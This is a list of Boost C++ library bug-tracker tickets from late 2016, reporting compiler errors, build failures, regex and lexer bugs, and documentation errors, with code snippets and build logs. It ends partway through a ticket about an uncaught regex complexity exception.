========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

#12641: binary_oarchive_impl constructor calls derived class before it is constructed.

Thu, 01 Dec 2016 23:46:57 GMT

If I inherit from binary_oarchive_impl and hide the save_override method with one of my own, it gets called before my archive class is constructed.

I call base class binary_orachive_impl constructor from my constructor. It calls its init() method which calls basic_binary_oarchive init() from detail/basic_binary_oarchive.ipp which calls this->This()::operator<< to output the file signature and version

This() refers to my derived class which has not been constructed. Local variables required for the archive are not yet initialized. It is possible to avoid this by inheriting directly from oprimitive and oarchive and calling their init from the derived class but calling on a derived class from a base class constructor seems like a problem and the manual does say to inherit from the impl classes.

#12640: is_empty and remove_all may throw even when called with error_code& argument.

nigel.pattinson@… — Thu, 01 Dec 2016 18:48:26 GMT

Some of the code that underpins is_empty and remove_all constructs directory_iterator objects without passing through an error_code& argument. I have spotted this in both is_empty_directory and remove_all_aux . The latter also uses operator++ on the iterator rather than calling increment, I haven't checked whether this is more widespread.

#12637: The FAQ should address the difference from the C++ standard library version

eyalroz@… — Wed, 30 Nov 2016 22:13:49 GMT

Since C++17 now has a filesystem library based on this library, one of the frequently-asked questions - in real life - is "What's the difference between the Boost version and the standard version of the filesystem library?"

This should be added to the FAQ page:

http://www.boost.org/doc/libs/1_62_0/libs/filesystem/doc/faq.htm

possibly as one of the general questions.

#12634: optional_config.hpp: needs update for Oracle Developer Studio compiler

Tue, 29 Nov 2016 19:29:27 GMT

Test libs/bimap/test/../example/bimap_and_boost/xpressive.cpp fails with Oracle Developer Studio compiler in -std=c++11 mode as follows:

"CC" -std=c++11 -temp=/tmp/bn -xO4 -mt -erroff=%none -m32 -KPIC -DBOOST_ALL_NO_LIB=1 -DNDEBUG -I".." -c -o "/export/home/sstrunk-tester/boost_regression/boost_regression_develop/boost_sparc-S2_cpp11/results/boost/bin.v2/libs/bimap/test/xpressive.test/sun-12.5_next_cpp11/release/threading-multi/xpressive.o" "../libs/bimap/test/../example/bimap_and_boost/xpressive.cpp"

"../boost/proto/detail/preprocessed/expr_variadic.hpp", line 687: Warning: A class with a reference member lacks a user-defined constructor, which can lead to errors.

...

"../boost/xpressive/match_results.hpp", line 747: Error: Overloading ambiguity between "boost::optional<gnu_cxx::normal_iterator<const char*, std::string>>::operator=<gnu_cxx::normal_iterator<const char*, std::string>&>(gnu_cxx::normal_iterator<const char*, std::string>&)" and "boost::optional<gnu_cxx::normal_iterator<const char*, std::string>>::operator=<gnu_cxx::normal_iterator<const char*, std::string>&>(gnu_cxx::normal_iterator<const char*, std::string>&)".

...

See http://www.boost.org/development/tests/develop/developer/output/oracle-sparc-S2-12-5_next-cpp11-boost-bin-v2-libs-bimap-test-xpressive-test-sun-12-5_next_cpp11-release-threading-multi.html

for details.

The following diff resolves the issue: % !diff diff ./optional_config.hpp optional_config.hpp_orig 47c47

< #if (defined(GNUC)

defined(SUNPROC_CC)) && !defined(INTEL_COMPILER)

---

#if defined(GNUC) && !defined(INTEL_COMPILER)

99c99 < #if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) && !defined(BOOST_NO_CXX11_DECLTYPE) && !BOOST_WORKAROUND(BOOST_MSVC, < 1800) && !BOOST_WORKAROUND(BOOST_GCC_VERSION, < 40500) ---

#if !defined(BOOST_NO_CXX11_VARIADIC_TEMPLATES) && !defined(BOOST_NO_CXX11_DECLTYPE) && !BOOST_WORKAROUND(BOOST_MSVC, < 1800) && !BOOST_WORKAROUND(BOOST_GCC_VERSION, < 40500) && !defined(SUNPRO_CC)

100a101

I also disable SUNPRO, as it seems not to support type_traits correctly

105c106 < #if (defined _MSC_FULL_VER) && (_MSC_FULL_VER < 190023026) ---

#if defined SUNPRO_CC

106a108,109

#elif (defined _MSC_FULL_VER) && (_MSC_FULL_VER < 190023026) # define BOOST_OPTIONAL_DETAIL_NO_SFINAE_FRIENDLY_CONSTRUCTORS

#12629: temp_directory_path does not conform to GetTempPath on Windows

Mon, 28 Nov 2016 18:47:49 GMT

The documentation for temp_directory_path specifies that on Windows, it shall return "The path reported by the Windows GetTempPath API function."

However, GetTempPath adds a trailing separator and temp_directory_path does not.

#12626: Building boost with Python and MPI failed (MSVC)

MailMr_S@… — Sat, 26 Nov 2016 16:14:56 GMT

I don't which component is not working.

I've checked out https://github.com/boostorg/boost.git and create the configuration file:

using python : 3.5 : E:/Work/Tools/python-3.5.2.3-portable32/python-3.5.2/python.exe
    : E:/Work/Tools/python-3.5.2.3-portable32/python-3.5.2/include
    : E:/Work/Tools/python-3.5.2.3-portable32/python-3.5.2/libs ;
using mpi ;

I've installed python 3.5 and Microsoft MPI v7.1 (and SDK). Now I try to build boost:

b2.exe --user-config=user-config.jam -j 4 --toolset=msvc-12.0 --build-type=complete --build-dir=build-vc12-x86 -sBZIP2_SOURCE=E:\workspace\deps\bzip2\src -sBZIP2_BINARY=bzip2 -sBZIP2_INCLUDE=E:\workspace\deps\bzip2\install\include -sBZIP2_LIBPATH=E:\workspace\deps\bzip2\install\lib\Release -sZLIB_SOURCE=E:\workspace\deps\zlib\src -sZLIB_BINARY=zlib -sZLIB_INCLUDE=E:\workspace\deps\zlib\install\include -sZLIB_LIBPATH=E:\workspace\deps\zlib\install\lib architecture=x86 address-model=32 stage --stagedir=E:\workspace\install

The result is:

Performing configuration checks
    - 32-bit                   : yes (cached)
    - arm                      : no  (cached)
    - mips1                    : no  (cached)
    - power                    : no  (cached)
    - sparc                    : no  (cached)
    - x86                      : yes (cached)
    - symlinks supported       : no  (cached)
    - junctions supported      : yes (cached)
    - hardlinks supported      : yes (cached)
    - C++11 mutex              : yes (cached)
    - Boost.Config Feature Check: cxx11_auto_declarations : yes (cached)
    - Boost.Config Feature Check: cxx11_constexpr : no  (cached)
    - Boost.Config Feature Check: cxx11_defaulted_functions : yes (cached)
    - Boost.Config Feature Check: cxx11_final : yes (cached)
    - Boost.Config Feature Check: cxx11_hdr_tuple : yes (cached)
    - Boost.Config Feature Check: cxx11_lambdas : yes (cached)
    - Boost.Config Feature Check: cxx11_noexcept : no  (cached)
    - Boost.Config Feature Check: cxx11_nullptr : yes (cached)
    - Boost.Config Feature Check: cxx11_rvalue_references : yes (cached)
    - Boost.Config Feature Check: cxx11_template_aliases : yes (cached)
    - Boost.Config Feature Check: cxx11_thread_local : no  (cached)
    - Boost.Config Feature Check: cxx11_variadic_templates : yes (cached)
    - has_icu builds           : no  (cached)
    - iconv (libc)             : no  (cached)
    - iconv (separate)         : no  (cached)
    - icu                      : no  (cached)
    - icu (lib64)              : no  (cached)
    - native-atomic-int32-supported : yes (cached)
    - message-compiler         : yes (cached)
    - native-syslog-supported  : no  (cached)
    - pthread-supports-robust-mutexes : no  (cached)
    - compiler-supports-visibility : no  (cached)
    - compiler-supports-ssse3  : yes (cached)
    - compiler-supports-avx2   : yes (cached)
    - gcc visibility           : no  (cached)
    - long double support      : yes (cached)
warning: Skipping Boost.Locale library with threading=single.
warning: Skipping Boost.Thread library with threading=single.
warning: Skipping Boost.Wave library with threading=single.
error: Name clash for '<pE:\workspace\install\lib>mpi.pyd'
error:
error: Tried to build the target twice, with property sets having
error: these incompatible properties:
error:
error:     -  <debug-symbols>on <inlining>off <library>object(file-target)@12756 <library>object(file-target)@12758 <library>object(file-target)@12760 <library>object(file-target)@12774 <library>object(file-target)@12776 <library>object(file-target)@12778 <library>object(file-target)@6809 <library>object(file-target)@6811 <library>object(file-target)@6813 <library>object(file-target)@6919 <library>object(file-target)@6921 <library>object(file-target)@6923<library>object(searched-lib-target)@12605 <optimization>off <runtime-debugging>on <variant>debug <xdll-path>/E:/workspace/src/build-vc12-x86/boost/bin.v2/libs/mpi/build/msvc-12.0/debug/threading-multi <xdll-path>/E:/workspace/src/build-vc12-x86/boost/bin.v2/libs/python/build/msvc-12.0/debug/threading-multi <xdll-path>/E:/workspace/src/build-vc12-x86/boost/bin.v2/libs/serialization/build/msvc-12.0/debug/threading-multi
error:     -  <debug-symbols>off <define>NDEBUG <inlining>full <library>object(file-target)@16291 <library>object(file-target)@16293 <library>object(file-target)@16360 <library>object(file-target)@16362 <library>object(file-target)@19297 <library>object(file-target)@19299 <library>object(file-target)@19312 <library>object(file-target)@19314 <library>object(searched-lib-target)@19202 <optimization>speed <runtime-debugging>off <variant>release <xdll-path>/E:/workspace/src/build-vc12-x86/boost/bin.v2/libs/mpi/build/msvc-12.0/release/threading-multi <xdll-path>/E:/workspace/src/build-vc12-x86/boost/bin.v2/libs/python/build/msvc-12.0/release/threading-multi <xdll-path>/E:/workspace/src/build-vc12-x86/boost/bin.v2/libs/serialization/build/msvc-12.0/release/threading-multi
error:
error: Please make sure to have consistent requirements for these
error: properties everywhere in your project, especially for install
error: targets.

I can build boost by removing using mpi or using python.

using python: OK

using mpi: OK

using python + using mpi: error

#12624: bug error calling boost::make_u32regex()

shane.quinlivan@… — Fri, 25 Nov 2016 05:22:18 GMT

os: SunOS 5.11 11.2 sun4v sparc sun4v gcc:gcc (GCC) 4.8.2 boost regex:tried 1.59->1_63+

When calling boost::make_u32regex() with a regex like: '302-Found
([0-9]+A[0-9]+
)'

The core occurs:

#0 0x00142854 in boost::re_detail_106300::basic_regex_creator<int, boost::icu_regex_traits>::append_set (this=0xffbfd5b0, char_set=...) at ./boost/regex/v4/basic_regex_creator.hpp:380 380 result->cclasses = char_set.classes();

I added some debug for char_set, and it was fine. The issue is with result ( boost::re_detail_106300::re_set_long<unsigned long long> *); this structure has 2 long long variables (8byte): cclasses, cnclasses after 3 * 4byte variables (csingles,cranges,cequivalents).

from boost/regex/v4/states.hpp, the structure is:

203 /* struct re_set_long * 204 A wide character set of characters, following this structure will be 205 an array of type charT: 206 First csingles null-terminated strings 207 Then 2 * cranges NULL terminated strings 208 Then cequivalents NULL terminated strings 209 */ 210 template <class mask_type> 211 struct re_set_long : public re_syntax_base 212 { 213 unsigned int csingles, cranges, cequivalents; 214 mask_type cclasses; 215 mask_type cnclasses; 216 bool isnot; 217 bool singleton; 218 };

When this struct definition is changed to force alignment:

203 /* struct re_set_long * 204 A wide character set of characters, following this structure will be 205 an array of type charT: 206 First csingles null-terminated strings 207 Then 2 * cranges NULL terminated strings 208 Then cequivalents NULL terminated strings 209 */ 210 template <class mask_type> 211 struct attribute((packed)) re_set_long : public re_syntax_base 212 { 213 unsigned int csingles, cranges, cequivalents; 214 mask_type cclasses; 215 mask_type cnclasses; 216 bool isnot; 217 bool singleton; 218 };

All our unit tests pass, and no core occurs.

This change also resolves the solaris issue mentioned here: http://lists.boost.org/boost-users/2010/03/57717.php

#12623: MSVC Warning in boyer_moore.hpp

vinnie.falco@… — Fri, 25 Nov 2016 00:12:31 GMT

Building a program that uses the 1.62.0 version of boost::algorithm::boyer_moore, with Visual Studio 15 Update 3 produces this warning:

boost_1_62_0\boost/algorithm/searching/boyer_moore.hpp(175): warning C4458: declaration of 'pat_first' hides class member

It does not appear that a fix has been committed for 1.63.0

#12621: property_tree::read_json does not work with BOOST_BIND_NO_PLACEHOLDERS

ja2222ja@… — Thu, 24 Nov 2016 14:35:16 GMT

Minimal code example:

#define BOOST_BIND_NO_PLACEHOLDERS
#include <boost/property_tree/json_parser.hpp>
#include <functional>
using namespace std::placeholders;
int main () {
    boost::property_tree::ptree pt;
    boost::property_tree::read_json("lol", pt);
}

Visual Studio 2015 Update 3 with v120 toolkit generates:

\lib\native\include\boost\bind\bind.hpp(319): error C2664: 'void boost::_mfi::mf1<void,boost::property_tree::json_parser::detail::standard_callbacks<Ptree>,char>::operator ()(T *,A1) const' : cannot convert argument 2 from 'std::_Ph<1>' to 'char'
1>          with
1>          [
1>              Ptree=boost::property_tree::ptree
1>  ,            T=boost::property_tree::json_parser::detail::standard_callbacks<boost::property_tree::ptree>
1>  ,            A1=char
1>          ]
1>          No user-defined-conversion operator available that can perform this conversion, or the operator cannot be called

First affected version: 1.59 [which introduces the new json parser]

My investigation shows that property_tree::json_parser::detail::standard_callbacks::operator() uses unqualified _1 symbol. Since #define BOOST_BIND_NO_PLACEHOLDERS is used, compiler don't know nothing about _1.

Error msg generated in msvc shows that boost::bind is messed up with std::placeholders::_1. The problem might be causes by no two-phase-lookup in cl. using namespace std::placeholders affects mentioned _1 usage in operator() since lookup for non dependent _1 is done later. Fixing issue in boost should workaround the msvc issue.

Please note that without #define BOOST_BIND_NO_PLACEHOLDERS everything works ok.

#12619: Boost.Regex partial_match fails (see also Ticket #11776 feature request)

Wed, 23 Nov 2016 17:15:14 GMT

Boost.Regex is a great library that we use extensively. I am re-raising Ticket 11776 as a bug. The partial_match implementation is broken because regex repetitions (*, +) may behave lazy or greedy depending on input text buffer size. This is very unfortunate, because partial_match provides the only possible mechanism to search streaming input text without buffering the entire text. To restrict the regex to simple forms that do not include repetitions (*, +) is not a viable workaround. There are use cases in which we must take interactive input (i.e. buffering one char at a time) or take large files in which the pattern searched may not fit in the current buffer allocated, thus not producing the longest match, and worse we don't know if the buffer must be enlarged to continue iterating to find the longest match.

The correct partial_match algorithm should consider that as long as backtracking on a repetition pattern in the regex is still possible given some partial input text, Boost.Regex should flag the result as a partial match instead of a full match.. With this change, matching "abc.*123" may require the whole input, but in this case that is OK! We need this flexibility of the matcher with a buffering approach.

Unfortunately, the suggested workaround by the Boost.Regex documentation to check if the pattern matched the input up to the buffer end (which indicates a partial match) does not always work.

#12618: Unused "str_icase_" member in xpression_peeker struct

anonymous — Tue, 22 Nov 2016 20:31:28 GMT

There seem to be unused "str_icase_" member in xpression_peeker struct in "boost\xpressive\detail\core\peeker.hpp" file.

#12616: Cannot build boost 1.62 for x32 ABI

ross@… — Mon, 21 Nov 2016 12:03:44 GMT

To build boost for the X32 ABI (which is x86-64 but with 32-bit pointers) we set CFLAGS to -mx32.

However boost then decides that it knows best and also passes in -march=i686 -m32.

For example:

|     "x86_64-poky-linux-gnux32-g++" "-mx32" "-Wl,-O1" "-Wl,--hash-style=gnu" "-Wl,--as-needed" "--sysroot=/data/poky-master/tmp-glibc/sysroots/intel-corei7-64"  -ftemplate-depth-128  -O2 -pipe -g -feliminate-unused-debug-types -fdebug-prefix-map=/data/poky-master/tmp-glibc/work/x86_64_x32-poky-linux-gnux32/boost/1.62.0-r1=/usr/src/debug/boost/1.62.0-r1 -fdebug-prefix-map=/data/poky-master/tmp-glibc/sysroots/x86_64-linux= -fdebug-prefix-map=/data/poky-master/tmp-glibc/sysroots/intel-corei7-64=  -fvisibility-inlines-hidden -O3 -finline-functions -Wno-inline -Wall -march=i686 -pthread -fPIC -m32  -DBOOST_ALL_NO_LIB=1 -DBOOST_FILESYSTEM_DYN_LINK=1 -DBOOST_SYSTEM_DYN_LINK=1 -DNDEBUG  -I"." -c -o "/data/poky-master/tmp-glibc/work/x86_64_x32-poky-linux-gnux32/boost/1.62.0-r1/boost_1_62_0/x86_64-poky-linux-gnux32/boost/bin.v2/libs/filesystem/build/aca09349fdb84d131321425f6c3a38ed/windows_file_codecvt.o" "libs/filesystem/src/windows_file_codecvt.cpp"
|
| In file included from /data/poky-master/tmp-glibc/sysroots/intel-corei7-64/usr/include/features.h:392:0,
|                  from /data/poky-master/tmp-glibc/sysroots/intel-corei7-64/usr/include/c++/6.2.0/x86_64-poky-linux-gnux32/bits/os_defines.h:39,
|                  from /data/poky-master/tmp-glibc/sysroots/intel-corei7-64/usr/include/c++/6.2.0/x86_64-poky-linux-gnux32/bits/c++config.h:495,
|                  from /data/poky-master/tmp-glibc/sysroots/intel-corei7-64/usr/include/c++/6.2.0/cstddef:49,
|                  from ./boost/config/compiler/gcc.hpp:165,
|                  from ./boost/config.hpp:39,
|                  from ./boost/filesystem/config.hpp:28,
|                  from libs/filesystem/src/windows_file_codecvt.cpp:20:
| /data/poky-master/tmp-glibc/sysroots/intel-corei7-64/usr/include/gnu/stubs.h:7:27: fatal error: gnu/stubs-32.h: No such file or directory
|  # include <gnu/stubs-32.h>

The -mx32 is our CFLAGS. -m32 -march=i686 is from boost/tools/build. The compiler ends up thinking that its doing a i686 build and tries to open stubs-32.h which doesn't exist as this sysroot is x32 so only stubs-x32.h is present.

#12614: Boost graph vf2 isomorphism algo runs for ever for this test case

Mon, 21 Nov 2016 08:20:56 GMT

Boost graph vf2 isomorphism algo runs for ever for this test case Steps to reproduce:

Unzip the attached file, you should see three files
Add the cpp file to your build system
Compile and execute.

#12613: Problem in vf2_subgraph_iso handling self-loops when using undirectedS

Fri, 18 Nov 2016 11:48:51 GMT

The attached example (with 1 vertex and 1 self-loop) illustrates that vf2_subgraph_iso fails to detect the isomorphism when using underictedS and e.g. vecS as edge list. This is because adding a single self-loop to a vertex (when using vecS as edge list) results in 2 out-edges having the same edge descriptor. Is this intended? (In contrast, using setS as edge list to describe the same graph (1 vertex and 1 self-loop) results in only one out-edge. In this case vf2_subgraph_iso finds the isomorphism because each out-edge has a unique edge descriptor).

This affects also previous versions.

Best wishes, Flavio

#12612: Inconsistency in vf2_subgraph_iso documentation / return value

Fri, 18 Nov 2016 11:24:48 GMT

In the documentation it's said that vf2_subgraph_iso returns true if a graph-subgraph isomorphism exists and false otherwise. But the return value is actually given by the return value of detail::match, which returns true if the entire search space was explored and false otherwise. (This affects also previous versions).

Should I fix the return value or the documentation?

Best wishes, Flavio

#12608: boost::polygon crashing on get function after substruction operaion

shroman@… — Mon, 14 Nov 2016 15:22:41 GMT

I have one polygon set that was built from one polygon and I'm substracting other polygon set built from 17 polygons. assign operation passed successfully but then library is crashing on get operation when I'm trying to get vector with polygons with holes. Stackdump:

...:polygon::polygon_arbitrary_formation<long double>::active_tail_arbitrary*> >::_M_insert<boost::polygon::polygon_arbitrary_formation<long double>::active_tail_arbitrary* const&>, FP=7fffffff5d30 ...n::polygon_arbitrary_formation<long double>::active_tail_arbitrary*,std::allocator<boost::polygon::polygon_arbitrary_formation<long double>::active_tail_arbitrary*> >::push_back, FP=7fffffff5d50 boost::polygon::polygon_arbitrary_formation<long double>::active_tail_arbitrary::addHole, FP=7fffffff5d70 ...e>::vertex_half_edge*,std::vector<boost::polygon::scanline_base<long double>::vertex_half_edge,std::allocator<boost::polygon::scanline_base<long double>::vertex_half_edge> > > >, FP=7fffffff6440 ...e>::vertex_half_edge*,std::vector<boost::polygon::scanline_base<long double>::vertex_half_edge,std::allocator<boost::polygon::scanline_base<long double>::vertex_half_edge> > > >, FP=7fffffff64a0 ...::vector<boost::polygon::polygon_with_holes_data<long double>,std::allocator<boost::polygon::polygon_with_holes_data<long double> > >,boost::polygon::polygon_with_holes_concept>, FP=7fffffff6640 ...on_set_data<long double>::get_dispatch<std::vector<boost::polygon::polygon_with_holes_data<long double>,std::allocator<boost::polygon::polygon_with_holes_data<long double> > > >, FP=7fffffff6670 ...on::polygon_set_data<long double>::get<std::vector<boost::polygon::polygon_with_holes_data<long double>,std::allocator<boost::polygon::polygon_with_holes_data<long double> > > >, FP=7fffffff66a0 main, FP=7fffffffb9a0

Reproduction code is attached Thanks, Roman

#12607: boost telnet client

Oleg — Mon, 14 Nov 2016 10:10:55 GMT

I'm using code from boost::asio telnet example without modification. Boost ver: 1.62.

I need this telnet client to interact with memcached server. I use memcached-1.4.5-x86 and also Couchbase.

When I try to get or delete key via application based on boost's code everything is ok. But when I try to use set - something goes wrong and both memcached servers behaves in similar way. Example input, first line: "set key 0 0 3",second line "XYZ". And "STORED" output is expected - instead of this nothing happens, and read methods of telnet_client is not invoked... if I press Enter one more time or add spaces - then "CLIENT_ERROR bad data chunk" will be outputted. Please help to solve this issue, I'm very newb to Sockets and boost::asio, I'm reading manuals, but issue is very urgent. Thank you for your attention.

#12606: Boost.ASIO not throwing EOF exception when using coroutine reading from pipe

kirit.saelensminde@… — Mon, 14 Nov 2016 04:07:22 GMT

The coroutine just hangs when the end of file is reached. If the coroutine is used with an error code, i.e. "yield[ec]" then an error is properly returned.

This is on Ubuntu Xenial (16.04), clang 3.8 & gcc 5.4.1, libstdc++.so.6.

More details are in this SO question: http://stackoverflow.com/questions/40571429/stdin-pipe-not-closing-when-read-with-boost-asio

#12604: neither scoped_array nor checked_delete do check for nullptr

steinbac@… — Fri, 11 Nov 2016 10:15:47 GMT

Hi, I recently ran across a problem where a scoped_array::reset was called with a nullptr argument. As this is not checked within scoped_array::reset or further down the callstack in scoped_array::swap, a checked_delete was called on a nullptr and threw a Segfault. For me, I'd consider this a bug as scoped_array assumes ownership and hence is responsible for delete it's allocated memory. the problem occurred during an ill-posed usage of the boost utf as documented in the file attached.

#12603: C++11 Raw string literals with delimiters are not lexed correctly

edaskel@… — Fri, 11 Nov 2016 04:23:08 GMT

The optional delimiter feature of raw string literals allows you to have even the terminating characters of a raw string literal within a raw string literal. See for example http://stackoverflow.com/a/30308184/192737

Wave terminates the raw string literal token at the appearance of the first )" sequence, regardless of whether the optional delimiter is in effect.

#12602: C++11 raw string literals with embedded escapes are mislexed

edaskel@… — Fri, 11 Nov 2016 03:38:33 GMT

Raw string literals are partly intended to make it easier to write strings that would otherwise require extensive escaping - e.g., regular expressions. Unfortunately Wave seems to get confused when backslashes appear in C++11 raw string literals. For example:

R"(A\+)"

is parsed by compilers as a string of three characters: A, backslash, and +. Wave lexes this as an unterminated raw string literal followed by six individual character tokens. By contrast:

R"(A+)"

is correctly parsed as a two-character raw string literal.

#12601: system_complete doc error

anonymous — Thu, 10 Nov 2016 23:28:34 GMT

In http://www.boost.org/doc/libs/1_62_0/libs/filesystem/doc/reference.html, the documentation for system_complete refers several times to the complete method, which is no longer documented (it's listed as deprecated on a separate page). There's also a broken link to "the complete note".

#12598: Function definition not found reported by intellisense

bjorn.holmgren@… — Wed, 09 Nov 2016 14:09:17 GMT

This occurs in Visual Studio 2015, update 1. C++/CLI

=======================================

test.h
class MyClass
{
public:
	void MyMethod();
};
test.cpp
#include "test.h"
#include <boost/foreach.hpp>
void MyClass::MyMethod()
{
	std::string word = "Hello";
	BOOST_FOREACH(char character, word)
	{
	}
}

=======================================

IntelliSense shows a function not defined for the function. if i remove the BOOST_FOREACH its OK. It can compile however in both cases!?

#12595: Unexpected result when using type_erased adaptor to a transformed_range when clang optimizations are enabled

Tue, 08 Nov 2016 06:11:41 GMT

If clang optimizations -O1 are enabled, when using type_erased adapter on a transformed_range, the range will yield wrong values.

For example:

int addOne(int b) {

return b + 1;

}

int main() {

std::vector<int> nums{ 1, 2, 3 }; auto result = nums | boost::adaptor::transformed(addOne) | boost::adaptor::type_erased<int, boost::forward_traversal_tag>();

}

When printing result, it yielded { 1, 1, 1 } instead of { 2, 3, 4 } when compiling with -O1. It worked as expected with no optimization flags. I am compiling the code with clang++. The version of clang is Apple LLVM version 8.0.0 (clang-800.0.38). And I am using c++11.

http://stackoverflow.com/questions/40479397/getting-unexpected-result-when-compiling-with-clang-optimization?noredirect=1#comment68203492_40479397

#12594: zlib is always missed when ZLIB_SOURCE contains spaces

mikhail@… — Mon, 07 Nov 2016 21:03:35 GMT

Real command line:

"C:\Work\_GitHub\boost\b2.exe" -q -s "ZLIB_SOURCE=C:\Work\_GitHub\zlib 1" --without-python --without-mpi define=_WIN32_WINNT=0x0501 define=_SECURE_SCL=0 define=_HAS_ITERATOR_DEBUGGING=0 toolset=msvc-12.0 --layout=versioned --build-type=complete --build-dir=bin.v2\vc120.static.xp.x86 --stagedir=stage\vc120.static.xp.x86 threading=multi address-model=32 variant=release link=static runtime-link=static stage

After renaming directory "zlib 1" to "zlib" everything works.

#12591: Error compiling boost with mingw

anonymous — Mon, 07 Nov 2016 12:35:06 GMT

Bootstrap.log: #

Using 'mingw' toolset.

C:\Users\moh\Desktop\boost_1_62_0\boost_1_62_0\tools\build\src\engine>if exist bootstrap rd /S /Q bootstrap

C:\Users\moh\Desktop\boost_1_62_0\boost_1_62_0\tools\build\src\engine>md bootstrap

C:\Users\moh\Desktop\boost_1_62_0\boost_1_62_0\tools\build\src\engine>gcc -DNT -o bootstrap\jam0.exe command.c compile.c constants.c debug.c execcmd.c execnt.c filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c native.c modules/set.c modules/path.c modules/regex.c modules/property-set.c modules/sequence.c modules/order.c

C:\Users\moh\Desktop\boost_1_62_0\boost_1_62_0\tools\build\src\engine>.\bootstrap\jam0 -f build.jam --toolset=mingw "--toolset-root= " clean

Unknown toolset: mingw

Known toolsets are: acc, borland, cc, como, clang, darwin, gcc, gcc-nocygwin, intel-darwin, intel-linux, intel-win32, kcc, kylix,

metrowerks, mipspro, msvc, qcc, pathscale, pgi, sun, sunpro, tru64cxx, vacpp, xlcpp, vc7, vc8, vc9, vc10, vc11, vc12, vc14, vmsdecc

C:\Users\moh\Desktop\boost_1_62_0\boost_1_62_0\tools\build\src\engine>.\bootstrap\jam0 -f build.jam --toolset=mingw "--toolset-root= "

Unknown toolset: mingw

Known toolsets are: acc, borland, cc, como, clang, darwin, gcc, gcc-nocygwin, intel-darwin, intel-linux, intel-win32, kcc, kylix,

metrowerks, mipspro, msvc, qcc, pathscale, pgi, sun, sunpro, tru64cxx, vacpp, xlcpp, vc7, vc8, vc9, vc10, vc11, vc12, vc14, vmsdecc

C:\Users\moh\Desktop\boost_1_62_0\boost_1_62_0\tools\build\src\engine>exit /b 1

#12590: C++11 raw string literal support incomplete

edaskel@… — Sun, 06 Nov 2016 18:14:54 GMT

Raw string literals containing control characters (ESC in particular) cause errors when lexed by the wave driver:

error: generic lexer error: invalid character '\033' in input stream

#12586: String algorithm fails to compile using Visual Studio 2015 Update 3

lex21@… — Sat, 05 Nov 2016 16:37:17 GMT

The following fails to compile due to several compiler errors when using Visual Studio 2015 Update 3, compiler option /std:c++latest.

#include <boost/algorithm/string.hpp>
int main()
{
}

A snippet of compile errors:

1>boost_1_62_0\boost\algorithm\string\detail\case_conv.hpp(33): error C2143: syntax error: missing ',' before '<'

1>boost_1_62_0\boost\algorithm\string\detail\case_conv.hpp(49): note: see reference to class template instantiation 'boost::algorithm::detail::to_lowerF<CharT>' being compiled

1>boost_1_62_0\boost\algorithm\string\detail\case_conv.hpp(53): error C2143: syntax error: missing ',' before '<'

1>boost_1_62_0\boost\algorithm\string\detail\case_conv.hpp(69): note: see reference to class template instantiation boost::algorithm::detail::to_upperF<CharT>' being compiled

Presumably this is because std::binary_function and std::unary_function are removed from C++17.

#12585: Functional fails to compile using Visual Studio 2015 Update 3

lex21@… — Sat, 05 Nov 2016 16:21:46 GMT

The following fails to compile due to several compiler errors when using Visual Studio 2015 Update 3, compiler option /std:c++latest.

#include <boost/functional.hpp>
int main()
{
}

A snippet of compiler errors:

1>d:\development\libs\boost_1_62_0\boost\functional.hpp(150): error C2143: syntax error: missing ',' before '<'

1> d:\development\libs\boost_1_62_0\boost\functional.hpp(163): note: see reference to class template instantiation 'boost::unary_negate<Predicate>' being compiled

1>d:\development\libs\boost_1_62_0\boost\functional.hpp(150): error C2518: keyword 'typename' illegal in base class list; ignored

Presumably this is because std::binary_function and std::unary_function are removed from c++17.

#12582: Error catching specific "regex_error"

Fri, 04 Nov 2016 14:58:54 GMT

The following try catch doesn't work in 1.61, but did work in 1.55. Other boost exceptions are caught properly. I've provided two examples (one working, one failing)

Exception is never caught

try
{
  boost::smatch m1;
  std::string long_String= "@VOOfPHslmjhdQGM4CHjMII4tf-5-FjBnxaC6D8C3jQs09cdw8gDlF0bI7jfmN6cGKeZdJVOCt5GoeOVA3ao35rN-NV3Oy3A9V2hMUO0hHHVdWeGSoRY8ua3lnsXZsaOmz9YTZhR-Xtq13xAnYP5sHHbfM6tuuqWetdgCGNeMlckGyEKBW0MTtRq7Lhns8t7QW_59x77LRz2n0LtSS46sdN970eQ04llaeXZQDUv4coz6VuOBmEUUfLcxxc3HACSqdLQ-EmD_olxqPjR_mO2_ltjv_m2edvtn-5psCXZVpdVLKtcjl8ezLJQx5l30tIiPWkLDP_jot-lUe7ypMjXY68fo_E33L3eIyVTzyCWLSQdC9616-xA9gpMlHLDYOZL9MsxeOsK5v86OYkTn88IDtWV_bXfdEsN9m_p1CYKjwyhlBWH1h3uSz0WAzcIqqMDkNbQrF8sFmX7fVSC5OhazMnJHRnfcKCHfyCoTqA5horkQn0Kded3qFdtnZEvrOKgrGeiLjNwwlPuRQI2pD9StWHiI5b2ACyJ2wV8Xl7f4FKhr3H6xXpWKTEXNt4VjWZgfcVq9UCiThSLEBfHOEe1voARPHrDBw26VSjHVWacUZAAJ6Cf4AXsx8kvBsiw4HKyG6qdlYp6v03BEtLv_vP2neOGrDQAV5s9ED_qGGJVDgAxb_auZwL5lNE5Sw0KdWDBd";
  static const boost::regex b1("((?:[A-z0-9]+|[A-z\\-]+ ?)?(?: the )?(?:[Ss][Pp][Ii][Dd][Ee][Rr]|[Ss]crape|[A-Za-z0-9-]*(?:[^C][^Uu])[Bb]ot|[Cc][Rr][Aa][Ww][Ll])[A-z0-9]*)(?:(?:[ /]| v)(\\d+)(?:\\.(\\d+)(?:\\.(\\d+))?)?)?");
  boost::regex_search(sample_kaspersky, m1, b1);
}
catch (...)
{
  //should catch a regex_error: The complexity of matching the regular expression exceeded predefined bounds....
}

The previous code block doesn't catch the exception but instead calls terminate:

terminate called after throwing an instance of 'boost::exception_detail::clone_impl<boost::exception_detail::error_info_injector<std::runtime_error> >' what(): The complexity of matching the regular expression exceeded predefined bounds.  Try refactoring the regular expression to make each choice made by the state machine unambiguous.  This exception is thrown to prevent "eternal" matches that take an indefinite period time to locate.

Exception is caught properly

    try
    {
        // forcing an exception
        static const boost::regex b2("((?:[?)?)?");
        boost::smatch m2;
        boost::regex_search(sample_kaspersky, m2, b2);
    }
    catch (...)
    {
